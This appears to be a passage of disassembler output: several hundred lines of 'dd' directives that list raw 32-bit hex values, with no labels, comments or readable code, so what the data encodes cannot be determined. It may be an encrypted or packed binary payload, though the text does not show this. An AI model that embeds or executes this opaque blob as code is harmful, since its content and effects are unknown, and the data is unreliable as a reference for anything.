		dd 56AA96BAh, 6E01C525h, 798995FDh, 0BFC730D5h,	9A0E4F9h
		dd 89352EFEh, 756D40E1h, 6CA6BBCh, 71A765A0h, 9DD4A00h
		dd 8139F0C8h, 6B5409E7h, 0B700EBFh, 549B795h, 0CCB75839h
		dd 850922E9h, 2B7F929Fh, 57E24249h, 0E6C0344Dh,	97E68E4h
		dd 34695A62h, 3290B0Eh,	75EDBAD5h, 7292FC1h, 13649567h
		dd 9E376800h, 664ABDE7h, 0C88755B8h, 0FF42C565h, 7105286Eh
		dd 81CD23B6h, 520E91Ch,	8744D2FBh, 0BF60125Ch, 29B648BEh
		dd 8190500Fh, 0FCDE1096h, 5F033C6Bh, 0C45677E3h, 0A5870F16h
		dd 6E61E9BDh, 4C03B66Eh, 0DC8AE976h, 0ADCE84B4h, 9599407Ch
		dd 0EAB77AEBh, 37911DF2h, 2D6ECC45h, 14A3A113h,	1F801AEh
		dd 3A03A5BDh, 2788B2B3h, 8AD2609Dh, 3116DCAFh, 0C443640Bh
		dd 1126D623h, 35884B2Ah, 3E950005h, 2568312Dh, 5B4AF988h
		dd 97EE81B8h, 0F800B06Ah, 7806102Eh, 0F24BF46h,	7149C888h
		dd 82730066h, 58689F1h,	0D7710A00h, 0D8414788h,	4B1D009Eh
		dd 25BB66C2h, 211EBF81h, 0C5A574E3h, 42B082Ah, 2D2D6015h
		dd 0C0F1DC70h, 55C73EEFh, 7291D001h, 958B905Dh,	0A88F562Bh
		dd 4409B79Ch, 25E12007h, 0FB2F0D96h, 191D592Bh,	7107EAFCh
		dd 0E43F058Ah, 0FC705A73h, 9A2C125Ah, 0BA4C6DE3h, 0FE3558C0h
		dd 7E013B7Bh, 5D2C2853h, 0A0883DFAh, 5F162A45h,	1BAC02ADh
		dd 0EE08008Ch, 802C9DAEh, 0DBE66CC1h, 818D324Bh, 586A4Ch
		dd 263EEC81h, 0F9191E1Ah, 8B965F0Bh, 420CDFFAh,	2B95BD0Ch
		dd 595EF396h, 118181Bh,	0A36B90E0h, 2E53FC66h, 95306B34h
		dd 0BE670D1h, 1E39A6A1h, 0F03E5500h, 8D14311Fh,	0B09501B5h
		dd 27B96660h, 0C878BBC8h, 9D2A2545h, 9B6A2B6Eh,	7C763900h
		dd 4A6CB790h, 2F7E6CB5h, 0CE0941BDh, 0DB68676Dh, 0AF8C0DE0h
		dd 0BF1009BDh, 5E70D978h, 22E4C8B0h, 25645682h,	0D2C49077h
		dd 0AD43055Bh, 1FBD5C56h, 0FB039A88h, 0B3686E55h, 0B65A5867h
		dd 0AF0CC638h, 81E08072h, 0EE8526CFh, 9718973Dh, 8B156053h
		dd 2E5758Dh, 4C9076BAh,	83425713h, 0B142A8CFh, 46CADF41h
		dd 0BF8B6157h, 0F39437C4h, 0A033CA6Ah, 95157FD2h, 0BD03FB18h
		dd 5E56B159h, 7AADD9A9h, 0BC302F60h, 2F7F4C12h,	939B0C22h
		dd 4FFD6D00h, 8A89FDBh,	0B7D9D29h, 70505F09h, 2D38B557h
		dd 60002C7Dh, 0BA8614D5h, 2591A1BBh, 66790C5Bh,	5A1816F9h
		dd 5EE9B327h, 950355B5h, 0FA2A595Eh, 40F8DECEh,	218E7EDCh
		dd 20DEEC03h, 971F952Ch, 0E95D5609h, 1D4B456h, 0D8EECA32h
		dd 3F319D85h, 4B2DF9A0h, 27FE8E29h, 0D862DB32h,	0E7053B22h
		dd 6272341Ch, 5BC5FDC4h, 8BB3FD81h, 0C370512Bh,	1256FC27h
		dd 0B55F5378h, 9F542979h, 0DEC8F46Eh, 6D609C0Ah, 0C4F53B42h
		dd 2518970Ch, 0A92D9D8Bh, 71AF5614h, 89479F3Ch,	96E2FE65h
		dd 0AC89ADF8h, 0AB1A8C1Bh, 0DD62688Bh, 0BA0C888h, 8E561821h
		dd 1C1CF762h, 0F1781D93h, 3F1E0108h, 0E2E95828h, 0FC4D2EF2h
		dd 0C1D8D9BDh, 9DD94B8Ah, 576A3FDCh, 0F9A6E102h, 0DD429860h
		dd 0BA40E97Eh, 3BFAE468h, 7D26DEh, 85232E9Dh, 0B1A486F6h
		dd 0DF44B23Ah, 0AE485AFDh, 6A578009h, 9FDC377Dh, 18FF2534h
		dd 40A19507h, 0DE08BB21h, 3B12ECB8h, 0AD421686h, 0D625FE5Fh
		dd 7FE3CABCh, 8675F0DAh, 2019C695h, 0BE041155h,	1C20219Eh
		dd 2F65B1EFh, 345B066Eh, 735BFE7h, 900D32EAh, 9D98A798h
		dd 3CC66600h, 0A9E3FD79h, 0F8E0784h, 101BB9CAh,	5066194Dh
		dd 0B0489056h, 0E08065A1h, 81300182h, 2BFBDEEBh, 604E933Ch
		dd 82734FFh, 84A702B2h,	6FBE6A5Ah, 9EE104F6h, 0B6AAF664h
		dd 87B94A78h, 59149C4Bh, 80092842h, 117954EFh, 0DE097B47h
		dd 0E100F476h, 66E0B65Ch, 2B49A5BFh, 5825026Ah,	4A27D773h
		dd 1E004643h, 96158DBBh
		dd 0CCB06479h, 26003317h, 68A5A625h, 2FB04C59h,	0FE69F32h
		dd 6009A97Bh, 80D39635h, 0B0F04916h, 0B7C807D6h, 0A9E93814h
		dd 20121C57h, 0DFECBCE0h, 0F2BD3409h, 0C0634D65h, 0BC37B711h
		dd 0E6362B09h, 80E8715Fh, 0A3D1C781h, 73955A50h, 198388A6h
		dd 21885397h, 0F21F003Ch, 377088DAh, 7C04F1FFh,	6B157375h
		dd 5FDEC2AFh, 0A0486ED5h, 970E65D6h, 6894BC1Ch,	1EFC9DD4h
		dd 29448E52h, 0B1C17311h, 3D31197Ch, 0F5E70348h, 0BFF6A28h
		dd 11A7DF0Eh, 0BE97302h, 4F4D8F6h, 5B1AA508h, 88C8B98Bh
		dd 0B0F88A20h, 0E6FB0084h, 6DDF8070h, 71E4ECEFh, 2E1ABF04h
		dd 0B4B9027Ah, 12370535h, 89B2B59Ah, 0DD1B29E0h, 8D1001ECh
		dd 0A14F141Dh, 187BA6DFh, 0A1B50904h, 583B2EEh,	2D89BD23h
		dd 0AC7E24AAh, 0DE7F8070h, 0F6739D1h, 0DB30AD4Dh, 0B531FA13h
		dd 306BC82Bh, 0F19D0903h, 45F63FFBh, 46ADB300h,	23F5555Ah
		dd 2F1780E8h, 0BFA6F0h,	37EAD908h, 0D12C8BF9h, 1290EF53h
		dd 8AE95B0Dh, 80CD2E45h, 320AE33Fh, 89853A8Bh, 5848550Eh
		dd 2A4572F3h, 20207A3Ch, 29135884h, 0E4843195h,	0E2AE74FFh
		dd 0B21701ACh, 0D092D63Ah, 9E2C41EDh, 46025584h, 203FF8Dh
		dd 0C316CB81h, 16557B95h, 0DAB73E94h, 5818A528h, 604173FEh
		dd 15E2207Fh, 0BE2D308Ah, 640C5ED1h, 84E0B95Bh,	0BF233C2Fh
		dd 0F294FF0h, 795E2690h, 0E1C47DA9h, 61B81204h,	10C7B9C2h
		dd 7C69B66Fh, 0B90314C8h, 0E09F73Ah, 8555F952h,	0CBBDFCE9h
		dd 1A008DB8h, 0FB025B33h, 7164F0DDh, 950909FCh,	3C250881h
		dd 2F37C0C0h, 6126EC5Fh, 8DC22BBAh, 0FA675C10h,	90530E53h
		dd 24825986h, 9ABE4CFh,	2098075Dh, 3BB60D5Ch, 8A3705DCh
		dd 0EA4C015Ah, 43A3A28Ah, 84E1ADF0h, 77AA860Ah,	891CFC1Eh
		dd 82F13A27h, 0F428B1FBh, 5F50C0ECh, 1C1CC41Eh,	0D4808863h
		dd 0A3993E69h, 1D42124Ch, 0D263A9C7h, 2AA866FDh, 2D01C195h
		dd 4F672F2Eh, 801FFDF2h, 7AD165BFh, 0D1D2E000h,	4C8E19A5h
		dd 95106E8Ah, 0CB5F2802h, 0AE44309h, 45807114h,	0B05BF75Ah
		dd 24E02042h, 0C23CB848h, 5C5C0321h, 509CDB5Ah,	6F2DCD7Eh
		dd 404C78BCh, 0E15BFF10h, 282B1FF1h, 45A782Ah, 32803CDEh
		dd 0DD7FCA4Dh, 562599B8h, 1A4CC570h, 0CDF76262h, 0EC70E2B6h
		dd 5C239D02h, 0D2FC7169h, 4056EF55h, 7B83D1E8h,	1041CE58h
		dd 0AB4B0C05h, 0F400696Eh, 0DF1E2845h, 0BE2F4E6Ah, 9BDDC67h
		dd 7A703CCEh, 35BD310Bh, 0BB18D515h, 1A461D9Dh,	0FACE2D22h
		dd 2BFFD3F9h, 0F965870Dh, 0BB196820h, 0DAF712C1h, 3A38E577h
		dd 35BC47B9h, 11853109h, 456FD621h, 0A8FBD5DAh,	0ADAC9625h
		dd 0E5306880h, 95C9A2h,	7C1ECF14h, 7823B336h, 7728865Bh
		dd 294DA3AAh, 399B40F2h, 0BACB2C4Ah, 2FB01156h,	0EB027AA8h
		dd 51B53153h, 0E5DB5E12h, 8724AB29h, 0FD4FCDA8h, 585EC2Bh
		dd 8EC48009h, 1CA9C14Fh, 0E09E7B02h, 0BA2EE280h, 0BB055088h
		dd 0BE58D29h, 36919DAAh, 0CC8C4AEBh, 6BD32D80h,	61074564h
		dd 4371DE9Fh, 0B1BB1511h, 55FE2EE1h, 0C4ADA551h, 818500D2h
		dd 3414B397h, 674A04EAh, 0ADD601ADh, 0A0F3A80Dh, 80074DF5h
		dd 379789F8h, 88DCA5A6h, 2909ACABh, 0A52356B5h,	3A5ED742h
		dd 0BAAC00DCh, 0BF2DBBFEh, 8C947940h, 0EAE0B240h, 78430238h
		dd 2BF3B51Dh, 0AD859E60h, 1509964Eh, 1F96450h, 1FF8F334h
		dd 2B6CDA9Eh, 0FA93F3A2h, 23095805h, 4FC48BAAh,	2A0E576Ah
		dd 3520B175h, 80A0362Dh, 6816E707h, 21343137h, 0B2CC67C1h
		dd 0C811802Bh, 2EF77732h, 0E09EF69Bh, 14A15E8h,	7AEAE9D5h
		dd 4042045Ah, 4BAE8E9Ch, 30DF8275h, 0B55790E8h,	0E2E21299h
		dd 33AF055h, 83E06193h,	82E90FF8h, 1CE43EFCh, 5650285Fh
		dd 4B3D3BD1h, 0C0E3DBDBh, 42C56CA8h, 0F0C1041Ch, 0A17E9BB8h
		dd 0AA3D54ADh, 1AA223A6h, 97E780B0h, 0CA3C8905h, 0AD007BC8h
		dd 61529CEFh, 8FDC4B8Ah, 0C16A5A3Fh, 0E5033A00h, 61F1EA4Bh
		dd 2D4E7CF3h, 25DF7401h, 2A114067h, 0AF10854Bh,	52BD6B95h
		dd 0F3755BCh, 5609138Bh, 0CE4753Dh, 7D564C40h, 650E3B58h
		dd 64EFFC42h, 24F85A2Eh, 24052080h, 0FD7044FFh,	99345900h
		dd 7867FE89h, 0CD7331h,	75CB8177h, 5B21C8B8h, 1F8C564Bh
		dd 425300D8h, 0FEE3DC2Ah, 0BC003119h, 0CEB7629Dh, 124DB230h
		dd 0E25B61F9h, 4BA8446h, 5C7AAEh, 0F3AE8CB6h, 0A8EA2FDAh
		dd 9FCE48h, 0B82BFE65h,	1840DE0Ch, 530F0D1Eh, 0C145FF44h
		dd 7530198Bh, 0B995298Bh, 92BA0B58h, 0D80C3B2h,	0B3C3BA8Bh
		dd 4AE5E009h, 746C57C9h, 646D4D9Fh, 3C5A6019h, 0F50B160Dh
		dd 131EA879h, 2C52104Eh, 0A6D6E5A9h, 7B76A036h,	97C5EC73h
		dd 0BDD7800Bh, 0B7CABFB0h, 0AC4159F7h, 0CD800148h, 0C065C51h
		dd 4DED7C50h, 1CCABC28h, 43BDEAFFh, 2B82D4E6h, 2E1A79B1h
		dd 0BF50A970h, 767A1678h, 0D7FFA85Fh, 0E3F03AA6h, 6E0B1BA6h
		dd 0F4CFC069h, 574227F2h, 1C11B237h, 0A7176C80h, 891AEA13h
		dd 5D40E129h, 599D8070h, 19015690h, 0C12FF7EAh,	0BBCC6901h
		dd 8A5BBDCDh, 0F2DB5Ah,	7A775676h, 619070B0h, 0EC4CF609h
		dd 2EEC613h, 0D58FBBF8h, 0C25C36C6h, 2FD78004h,	0F22FB78Dh
		dd 7BB0079Ah, 8C60B3E5h, 12D3603Ah, 0E171ACFBh,	0C0855BD5h
		dd 55A9126Eh, 0E13A97C2h, 45357Dh, 2D6A7C10h, 0D83BADA5h
		dd 0FDC94BFAh, 21F8AF0h, 82350470h, 0CE755F13h,	0CB37954Eh
		dd 0C7A55F00h, 1622F02h, 2EBF8AA1h, 3F0FBD28h, 259DCDD8h
		dd 0B5CE25E1h, 263D0495h, 14525005h, 0DB4FBD97h, 128C80AAh
		dd 0BD45CB6Fh, 0FE2B2510h, 0C1B09101h, 0CD2D423Ch, 0D0ECC07Eh
		dd 7F9CB523h, 8B130EA6h, 0D9252DBCh, 1564DA6Dh,	7052F161h
		dd 24AC576h, 0AC7664ABh, 4F59A256h, 6100CE73h, 0AF766A57h
		dd 0DDCF8104h, 87BFE525h, 58521027h, 47FB866h, 0C88B611Ch
		dd 0CDB7B2E8h, 0C035E756h, 4A6B46E3h, 4F955956h, 0AC93C2F9h
		dd 0BFF74F12h, 0E01EA64Eh, 14D76F2Eh, 0ABFD8A66h, 291D9113h
		dd 124678A7h, 80E5220Bh, 843B9E7Bh, 97B86F54h, 255A95A3h
		dd 9680A3DBh, 6D1FDDD8h, 0FF63A102h, 2009E94Dh,	69A05F52h
		dd 7E05720Eh, 0C2E752F5h, 0A980AD4Eh, 98F646C8h, 3C150027h
		dd 0BB992D56h, 0B225825Ah, 6DC3C223h, 4020E706h, 0C40C1E97h
		dd 53AADA12h, 95826EEDh, 0C7752359h, 0C4A446h, 5ECB841Bh
		dd 997D9E9h, 93FDB7D5h,	9D200E0Ch, 4D8FEB13h, 78E89993h
		dd 0D9E44FD4h, 9DB53489h, 0AC17B9B7h, 45008C1Bh, 0FF13EADDh
		dd 15D520BDh, 908DB509h, 980F501Dh, 60BF3105h, 68A31816h
		dd 0AB62584h, 0D84C61E0h, 69C120E9h, 0B7B8109Dh, 0A108D782h
		dd 0CCD98F77h, 3BB9F30Bh, 0D100B1B8h, 0F936D48Ah, 4A608250h
		dd 5B80D2CBh, 372F155Eh, 0B6F1001Eh, 0D80D83A3h, 0F50C6DCh
		dd 607FA04Ah, 64D4B32Dh, 91C8027Bh, 61E175DAh, 0BF564057h
		dd 3FEC41C4h, 0F1B102F7h, 333D412h, 9D092C0Bh, 4709AC1h
		dd 0E4AEF8A2h, 174EA0CEh, 0A29C55B9h, 645BFD03h, 108433DDh
		dd 12A8146h, 208BB5Fh, 362E25A0h, 0CB1650FAh, 1AA100Ch
		dd 0CFC236A6h, 0FB282E55h, 32028B5Bh, 6ADB50D3h, 0C15E4002h
		dd 69BB800Ch, 7123EB09h, 81350290h, 0B8602009h,	57035EA7h
		dd 615F5669h, 7F780490h, 816DB422h, 3E18B9E2h, 686D8C2Dh
		dd 8128FA8h, 97FD9531h,	0E9EFB304h, 0BC38AE9Fh,	0E7CC4FBBh
		dd 0FAFDA066h, 2DF909DDh
		dd 0B60830F2h, 0BB66003Bh, 0FA8B7393h, 80E01897h, 909E27E3h
		dd 0B201BBC4h, 37A02DE7h, 0C507EAFh, 0BCB146h, 0BD5911Dh
		dd 886B5BBFh, 22EB6374h, 5190137Dh, 0D6B1260Ah,	1E824FBFh
		dd 0C6145718h, 0E599F94Bh, 2B55C22Ah, 71AF737Dh, 2184C31Bh
		dd 22F0DEE8h, 1858B771h, 56115EC9h, 0AFFF921Dh,	0AC4EA96Eh
		dd 15BC4C9Dh, 25E7124Dh, 45D9CCB0h, 17B90051h, 0E697B0EBh
		dd 317200B0h, 8A452EC7h, 13EEE6C0h, 2B1CCC00h, 4C36A1D6h
		dd 7EB09087h, 16707BDFh, 0A922D19Dh, 3AC85F9Eh,	413F004Dh
		dd 0F1EB9060h, 0E70461B0h, 2F7D1792h, 8E800CB8h, 79A4CE83h
		dd 0A5324194h, 0A064755Bh, 10BFFA53h, 814B2331h, 0DABAF918h
		dd 6801B857h, 0BC15168Ah, 0FB381101h, 810E804Bh, 0DA1144DBh
		dd 0AA5138D5h, 9706CF20h, 0EB07FF0Fh, 3902250h,	679308D5h
		dd 8D954A00h, 370996FBh, 43363FF3h, 0FAB4B884h,	484073E2h
		dd 0DC78014Ch, 1EC8FA9h, 18E46A8Dh, 0F31DB85Fh,	8A0F2789h
		dd 38505F11h, 17E909E3h, 0A3FD725Fh, 0E0C7087h,	1C580EBBh
		dd 0C07CA976h, 0AE46C2BFh, 60599D55h, 21D5BD84h, 0ECD6E8B9h
		dd 2C09E2Ch, 0ED53F94Bh, 712D187Eh, 4593670h, 222E5B81h
		dd 902B38F8h, 1741BDBh,	0E16E639Ah, 821DCB07h, 51FC7BEh
		dd 0ED095E5Bh, 0B78DA8F2h, 43297F81h, 191213F9h, 0EAB8A185h
		dd 94CF6B1h, 0CBA8F62Dh, 0A6061DF0h, 0D0DD9BADh, 43CF13A6h
		dd 0A1ECE75Bh, 0C83E1186h, 6113F3CEh, 98AAC540h, 0B80107CDh
		dd 0DA8B6DA8h, 0A36F525Fh, 0A7573C61h, 2C30F55Bh, 0B9802A81h
		dd 490F5B8Ah, 3F78FA4Eh, 5C558997h, 9BDF3B87h, 450D81B1h
		dd 7CC2B8D7h, 6E3AF649h, 2982021Bh, 7512A585h, 514EEF6Ch
		dd 4FCA5C8h, 0AE0CA881h, 4D238073h, 5C000548h, 802BE6FAh
		dd 1275BB96h, 12223A43h, 0C472E3FAh, 5CF6EAB3h,	6E4890E0h
		dd 96873801h, 0CBA7FF3Dh, 0FC4C222Fh, 64814D55h, 0F2C601Ch
		dd 8CA20218h, 0C0D1C77Ah, 8DBDB0F5h, 0A8074A5Dh, 0DBC2A48Fh
		dd 5E1B5E23h, 950C4BBCh, 2FF30A0Ah, 8EDBE8Eh, 3BE9CFh
		dd 0A3A83E0Ch, 0BD62C2CDh, 1CD514F5h, 899944A8h, 62AD9D2Dh
		dd 37219AE7h, 3142809Ah, 10E50637h, 2FE1F779h, 0E7F28B20h
		dd 3EA00EDh, 603BB5D5h,	0C309B4CAh, 56893FC5h, 0F75F12D0h
		dd 0C76A4F4Bh, 9EF7D300h, 822F22A2h, 0FE1269B0h, 0C1F9E1FFh
		dd 270013B8h, 0BFB2FD6Eh, 4B82549Eh, 346DCA18h,	0B0B857E7h
		dd 4338FF45h, 0A9561127h, 32A7E971h, 0D337FDh, 550960D0h
		dd 964B5822h, 843554CAh, 0C0369B51h, 6013FE9Dh,	0A47A48B4h
		dd 968EBC5Bh, 74BACA30h, 7B0209DBh, 12D6452Fh, 72F78160h
		dd 234D1208h, 0D412FA5Fh, 844B40B9h, 0E0ACB64Ch, 5ECF9Ch
		dd 1A9559D3h, 8A756D6Bh, 6DC1DA4Bh, 3AE8E381h, 21124216h
		dd 459D0413h, 0D6422923h, 375B5D5Dh, 77B7Ah, 3633870Bh
		dd 0FAB0539Eh, 4212BF12h, 3E6F85C5h, 0A94B5200h, 0E0BB7E5Ch
		dd 78F2D01Ah, 0A006F04Ah, 8022ED30h, 0E209B968h, 5E538144h
		dd 30574BB7h, 12150D7Dh, 0F05B5325h, 21124686h,	0DAEF7EDAh
		dd 7D68C024h, 5BA7E88Ah, 140BBA5Ah, 0A3B555F8h,	186CCAFh
		dd 0C007E045h, 2F8A8BBDh, 95297131h, 0E9F3E46Bh, 75016B2Ch
		dd 0DCBE01F6h, 8D294B37h, 2EE335C9h, 27A942A9h,	0EDD2003Dh
		dd 0BE252EE7h, 1260588Ch, 4E29A110h, 0B9EB20BFh, 6B12F10Eh
		dd 82F1611Eh, 35E0DB37h, 0CD12059Bh, 8EF367B7h,	7004274Ch
		dd 0BC4F1DF7h, 19BBC186h, 6821930Dh, 48A471DFh,	0B5B08E0Eh
		dd 599D2805h, 0D912Ah, 7CFB0390h, 2853B127h, 0F09D2A65h
		dd 38ECBD63h, 864845A6h, 93A30038h, 619E5414h, 0CD5C4B85h
		dd 4A337021h, 0A068A31Eh, 5C69CACBh, 4ADE9026h,	14FF26EAh
		dd 0E0585A25h, 2DD45F0Dh, 143769D5h, 3F2EE100h,	2DB27E38h
		dd 0A5BD0DBh, 9EB5393h,	12F7FA8Bh, 0DC905EBFh, 828B351Eh
		dd 33C4AD9Fh, 0C8B845BDh, 5BFC53A0h, 13CB6158h,	7DF620E5h
		dd 0A0AD3D00h, 1C437CB7h, 0CC62B003h, 0B8BA5A5Dh, 95052199h
		dd 98D0FD65h, 71B300E2h, 0F97A261Eh, 7995A90Ch,	8D3182CCh
		dd 690F32F5h, 0F04775FAh, 6FA1BF80h, 70E96425h,	0A67AE152h
		dd 9E2AF09Bh, 641E27FFh, 0E32E6C10h, 194C5000h,	0A5FDF307h
		dd 0F15E00BDh, 172A9F8Dh, 1D976945h, 486072DCh,	3EBC0F0Dh
		dd 0FEC700F4h, 0AA7D4815h, 0FA24B15Ch, 0A9092519h, 6169F90Ch
		dd 46385h, 4BE9B501h, 35AACE29h, 9BF2750h, 665D2660h, 6F7A005Eh
		dd 4876AD63h, 5C624D04h, 0FF2A2574h, 8297D094h,	55F17B70h
		dd 10978E4Ch, 96745Ah, 2DDEE3FCh, 0AFBDBC51h, 5BC48425h
		dd 181559D8h, 0E1A24B5Bh, 0A9F62F8Ah, 55301AB2h, 0C84B00F3h
		dd 90EA292h, 194BA585h,	492442EAh, 927F508Eh, 83DA7FADh
		dd 9EEEC3Bh, 0D47B2BAFh, 2BE22FD2h, 8C514C75h, 90C4979Ah
		dd 5E02B0E8h, 9566EA4Eh, 0D65E5C11h, 7F171546h,	0C08BA8C4h
		dd 4F92E781h, 0B0245A9Ah, 3A971045h, 0A0F165h, 827802C6h
		dd 812F74F8h, 0A162E0F0h, 92D69D12h, 26C00DEh, 25F68296h
		dd 692C7FB6h, 6F026667h, 5C1A5E8Fh, 94DF694Fh, 5148BDF7h
		dd 6DBF04C2h, 6467C5EEh, 2617EF88h, 37AC7BC4h, 0B8E1ED4Ah
		dd 1018000Dh, 0ACCF5A40h, 804B9EE5h, 3FB74E12h,	8019DA4Bh
		dd 0AAD83D59h, 0BFA40269h, 15EF5A48h, 0D327335Ch, 179AD812h
		dd 0A885B516h, 12741A3h, 6A44B77Ch, 0C0FDDBEEh,	0A9AA98E5h
		dd 25F2B8DDh, 91DA2E39h, 83D90C45h, 0D366E23Eh,	712BBAB1h
		dd 0A2F9972h, 3827A25Ah, 0FCE68055h, 0F79C57D3h, 24E80241h
		dd 5D12FAB0h, 0E346D5h,	0FC23D702h, 0D3D87CFEh,	3E361300h
		dd 6199DC48h, 2F9FFE6Eh, 8A823734h, 0C957B5B7h,	6E2E9611h
		dd 0BF101059h, 0F92B8241h, 9337B9B2h, 2BDD4C02h, 0D684DB91h
		dd 0FBA2BA1Dh, 0A099E6D2h, 2DEAE259h, 1A4436A2h, 8F768A00h
		dd 61BBE5F3h, 0C81B1E78h, 0F2017DC2h, 0B52992EAh, 149F6BF9h
		dd 0F4BB9600h, 5048DD44h, 3B1F8DECh, 822F0904h,	0B203ADF4h
		dd 530608Ch, 73169707h,	5860A0ADh, 0BBE7B93h, 8C0FEB8Ah
		dd 50FAB2F7h, 654597B1h, 0A6F250h, 0CE97F6F4h, 3EC430D0h
		dd 4A975D90h, 0C08C60ADh, 0A31A97C2h, 7B00BBD9h, 6292881Ch
		dd 0D49D0066h, 0E15EED33h, 0E951C217h, 3BF96A13h, 0CFAB211Dh
		dd 8841377Ch, 2E5F381Bh, 0E147AD28h, 0C27B3Eh, 0C95D75AEh
		dd 4B8954F2h, 8012ABB5h, 8BDB6D02h, 60A85CFAh, 93F9BB66h
		dd 2B358DB7h, 0BFA4D07Fh, 80124387h, 5FE210F7h,	0FF820FC4h
		dd 804A90CAh, 0BE6DA56h, 0A5FE943Eh, 0BB2544Bh,	58DEC18Bh
		dd 0E09B00DEh, 6039D93Dh, 3A16F0BFh, 810B681Bh,	61872509h
		dd 0A554B6AAh, 641637B6h, 9C12ABE9h, 83E0D7A6h,	0CB07E417h
		dd 8529AE18h, 4BBBED1Ah, 4D41D0B8h, 0D073A040h,	102268DBh
		dd 11E508D4h, 0DC21C630h, 34CD970Bh, 7BB38CE0h,	6C5E099Eh
		dd 0C780323h, 51E2045Ah, 39BFFC0Eh, 717C44h, 0DD91BB52h
		dd 0AF5097C2h, 0BF608D96h, 0E3468319h, 0E495A57Bh, 904B570Fh
		dd 913E626Eh, 9BB0EB00h, 0C411CCF6h, 9D034913h,	0AE3852BAh
		dd 0C101D17Ah, 0C868EDDh, 0C7B3504Ch, 992FAFA1h, 21EFC17Bh
		dd 0C8669B6Bh, 0C05ECF1Ah, 9235220h, 0FB0CBFC6h, 0C87EDCE1h
		dd 0E7284A0Dh, 0A1A45E5Fh, 2E0F69D1h, 6A446159h, 4FAB7BFBh
		dd 2B0A90ECh, 0A5F485BDh, 2E8D8061h, 5AAAACD5h,	0F1028898h
		dd 0B5EDC8Ah
		dd 0F0C0BB40h, 6B2EE101h, 1C2371h, 3CA96B66h, 0EC04BCEAh
		dd 0E3E914ABh, 10618EAAh, 0F82DDC2Bh, 7C0E2EDh,	0FE0675A1h
		dd 692E0BE7h, 305C297Dh, 0D46E7EEBh, 10483725h,	8542A8h
		dd 0D8033FFFh, 50393D80h, 956CC495h, 803B48B7h,	10B64C17h
		dd 0BF5B31BEh, 0E2423E09h, 0D32F8C56h, 25B2F1A3h, 4B1E2CA9h
		dd 1CB964FDh, 0A75CBF8Ah, 0C6A8C031h, 0F5239Eh,	0B9456781h
		dd 0D4C496ECh, 0E53BD812h, 3843D9E7h, 2F868BF1h, 282E0208h
		dd 2C553266h, 0A442FF53h, 0EAC539E1h, 0FD06EDBh, 0F7230440h
		dd 0B99643EEh, 802288DEh, 0E7A39DBBh, 0B694B021h, 1728D108h
		dd 2F98B8E6h, 888254FAh, 1BCE0AE9h, 0F5DAF245h,	19218144h
		dd 9357A5C1h, 54DBB7FBh, 0DD8A6133h, 195A9957h,	0A43A5F99h
		dd 0F9218D3Dh, 0AAF8971Eh, 71856602h, 0AAD1242Dh, 459522C0h
		dd 0F58D880Eh, 0E9121842h, 23DDCCAEh, 25FD9D1Ah, 4A28432Dh
		dd 407AEC1Fh, 0D12FBF99h, 80595461h, 9D3378F3h,	0C4B52A95h
		dd 4DD4C475h, 0A91C561Ah, 90967125h, 0A56F881Bh, 0E401F344h
		dd 609D1AEFh, 0B8C47F1Ch, 0FC901F0h, 17BF15DFh,	0B3312E5Bh
		dd 0B21012E9h, 0F900B9D8h, 0CF2B8381h, 76EFFAF7h, 0C7A04D0h
		dd 0B8D784E0h, 883388B4h, 0F98014E9h, 361803FFh, 0B29F0165h
		dd 0B9EF9932h, 6E4BD016h, 5625B3EEh, 83B9CC0Ah,	0FA04C2CEh
		dd 0B598845Fh, 80420F51h, 0BB77605Ch, 0E501164Dh, 98FE5F38h
		dd 830F41E9h, 0B65A0243h, 3218B271h, 4F4078D7h,	0AFE72061h
		dd 3E03D6BEh, 81564868h, 76348042h, 107E2FB9h, 0C0D2BEDBh
		dd 0A185A0h, 0C61ABE8Bh, 0BD0B8678h, 3BD7FD4Eh,	0B1B8FED4h
		dd 2280905Ch, 0B3F3DDA4h, 6C44900Eh, 9C8C40A1h,	95FCCC1Ah
		dd 0C8706973h, 568B0019h, 162BDC72h, 0BD12316Bh, 0A9B60FE1h
		dd 970DDE40h, 155B834Bh, 0BED29B9Bh, 27342080h,	256AB479h
		dd 10D159FEh, 66DA210h,	0F032F304h, 0B2EFA1C3h,	0E55A71ADh
		dd 1C12AB6Eh, 5261AAEEh, 980625DDh, 0CF35F84Fh,	0CE73A902h
		dd 699A5C4Ch, 542D96F6h, 649C5E71h, 1A0B04D4h, 8C510C01h
		dd 0E20099C0h, 0FAE14BAAh, 0E8C78DA9h, 4498015Fh, 9CBADA34h
		dd 2EF0EDC8h, 8A609C28h, 2D053540h, 0F816F3A5h,	19AC09B9h
		dd 0FD19D8Ch, 0EDE1FF8Bh, 640EC038h, 1828D026h,	0DA5EC67Dh
		dd 0D50971C2h, 2A45FA9Ch, 14DE6E6Ah, 108A49E4h,	891C0539h
		dd 0E30F52BDh, 4129F80h, 0BDE86DBDh, 0F8C15404h, 7FB830B7h
		dd 4C75ABA2h, 3C35BF0Ah, 3DB68038h, 0BC8E33DFh,	80D1B9D0h
		dd 0B373EB5Ah, 9B129510h, 6AE10BA5h, 0B7C0F41Bh, 0E95B302Dh
		dd 0B529651Dh, 0D7B820D2h, 4912A694h, 0D6D7B805h, 0DBAEC5BBh
		dd 99BA9606h, 6833B2h, 0B0716DEFh, 1431E1h, 0DC49AE02h
		dd 1AD84DC8h, 5859013h,	0A33D610Dh, 0F08EF77Fh,	7AF27Fh
		dd 1197FFEDh, 4DB5897Dh, 9D5F1863h, 0CDB9B455h,	255F18DAh
		dd 0D9EB501Ah, 0EF903ADBh, 0B79EFBE3h, 4A41F86Fh, 0C67AC1AEh
		dd 68006B0Eh, 6C22283Eh, 275FCDBFh, 83550A73h, 0E43D2B04h
		dd 9B8E3BDh, 22369F00h,	0BF323DFBh, 0C8C11251h,	0F99ABF2Ah
		dd 51CA6297h, 0C2018441h, 5F81B723h, 0F920ADD2h, 0C6EE032Eh
		dd 0E9E86BCAh, 0D3970178h, 0FCB2D116h, 0F2040C8Ch, 5076B3B9h
		dd 65CA1CBEh, 0B6D2C5C6h, 0F8255CA9h, 6F5597CAh, 156D4087h
		dd 519FC885h, 85DDF2DEh, 75AB06A0h, 0B2CDEAFCh,	88F18E00h
		dd 0AA4F4ED2h, 605EEC6Ah, 8A12C918h, 0FF9BD701h, 7D4C7475h
		dd 9724026Ah, 84DF893Fh, 0C499AFFFh, 0F755F03Bh, 203FBE02h
		dd 55613D90h, 5700CC53h, 443E9A71h, 0FDCC0082h,	6AAABB58h
		dd 36031D6Bh, 0F61C8D0h, 1A8A9250h, 5FB9A977h, 0BED70224h
